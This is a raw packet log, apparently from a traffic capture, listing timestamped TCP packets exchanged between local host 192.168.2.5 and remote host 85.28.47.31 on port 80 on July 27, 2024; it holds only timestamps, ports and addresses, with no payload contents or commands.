Jul 27, 2024 12:01:16.477392912 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.477463007 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.477511883 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.477524042 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.477557898 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.477582932 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.477626085 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.477801085 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.477854013 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.477866888 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.477895975 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.477942944 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.477988005 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.478005886 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.478051901 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.478077888 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.478095055 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.478147030 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.478192091 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.478209972 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.478255033 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.478272915 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.478323936 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.478351116 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.478395939 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.478415012 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.478465080 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.478492022 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.478534937 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.478554964 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.478600979 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.478620052 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.478663921 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.478682995 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.478730917 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.478748083 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.478794098 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.478811026 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.478853941 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.478873968 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.478918076 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.478938103 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.478979111 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.479022026 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.479068041 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.479085922 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.479130030 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.479147911 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.479198933 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.479224920 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.479271889 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.479289055 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.479342937 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.479367971 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.479413986 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.479429960 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.479475975 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.479492903 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.479537010 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.479556084 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.479599953 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.479619026 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.479671955 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.479685068 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.479716063 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.479743958 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.479787111 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.479806900 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.479851007 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.479868889 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.479908943 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.479932070 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.479974985 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.479993105 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.480036020 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.480057955 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.480109930 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.480122089 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.480150938 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.480180979 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.480233908 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.480247974 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.480279922 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.480309010 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.480360985 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.480374098 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.480403900 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.480433941 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.480495930 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.480535030 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.480575085 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.480600119 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.480649948 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.480664015 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.480710983 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.480727911 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.480771065 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.480789900 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.480833054 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.480854988 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.480897903 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.480916977 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.480966091 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.480982065 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.481035948 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.481049061 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.481084108 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.481110096 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.481152058 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.481173038 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.481225967 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.481237888 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.481273890 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.481297016 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.481328011 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.481357098 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.481394053 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.481419086 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.481436968 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.481472969 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.481517076 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.481537104 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.481575966 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.481600046 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.481641054 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.481662989 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.481715918 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.481729031 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.481760979 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.481791019 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.481836081 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.481854916 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.481906891 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.481920004 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.481950998 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.481981039 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.482033968 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.482048035 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.482079029 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.482109070 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.482157946 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.482173920 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.482215881 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.564344883 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.564436913 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.564467907 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.564538002 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.564584970 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.564640045 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.564667940 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.564722061 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.564748049 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.564793110 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.564815044 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.564860106 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.564879894 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.564929962 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.564944983 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.565001965 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.565032959 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.565082073 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.565095901 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.565128088 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.565159082 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.565211058 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.565237999 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.565285921 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.565304041 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.565349102 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.565367937 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.565412998 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.565432072 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.565475941 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.565495968 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.565541029 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.565558910 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.565604925 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.565620899 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.565668106 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.565685034 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.565731049 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.565749884 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.565794945 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.565812111 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.565857887 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.565876007 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.565924883 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.565941095 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.565987110 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.566013098 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.566059113 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.566080093 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.566128969 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.566144943 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.566199064 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.566225052 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.566272974 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.566289902 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.566337109 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.566354036 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.566406965 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.566431999 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.566479921 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.566494942 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.566540956 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.566560030 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.566607952 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.566623926 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.566656113 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.566684008 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.566698074 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.566728115 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.566773891 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.566796064 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.566840887 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.566859961 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.566905975 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.566926003 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.566976070 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.566994905 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.567044020 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.567059994 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.567110062 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.567126989 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.567182064 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.567210913 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.567259073 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.567276955 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.567332983 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.567361116 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.567415953 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.567441940 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.567487955 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.567507029 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.567554951 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.567568064 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.567596912 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.567651033 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.567697048 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.567715883 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.567768097 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.567794085 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.567845106 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.567862988 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.567908049 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.567925930 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.567977905 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.568003893 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.568054914 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.568080902 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.568125010 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.568145990 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.568192005 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.568211079 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.568257093 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.568276882 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.568322897 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.568341970 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.568394899 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.568420887 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.568465948 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.568505049 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.568553925 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.568586111 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.568635941 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.568655968 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.568703890 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.568723917 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.568773031 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.568792105 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.568839073 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.568856001 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.568903923 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.568922043 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.568969965 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.568989038 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.569035053 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.569055080 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.569101095 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.569120884 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.569173098 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.569197893 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.569245100 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.569262981 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.569312096 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.569327116 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.569374084 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.569391012 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.569436073 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.569454908 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.569500923 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.569518089 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.569571972 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.569597960 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.569644928 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.569662094 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.569706917 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.569725990 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.569772005 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.569789886 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.569838047 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.569854975 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.569901943 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.569921970 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.569964886 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.569984913 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.570039988 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.570055008 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.570090055 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.570115089 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.570162058 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.570178986 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.570224047 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.570241928 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.570281982 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.570307016 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.570352077 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.570370913 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.570416927 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.570439100 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.570483923 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.570502043 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.570550919 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.570566893 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.570631027 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.570651054 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.570697069 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.570715904 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.570765972 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.570781946 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.570836067 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.570851088 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.570883036 CEST	49704	80	192.168.2.5	85.28.47.31
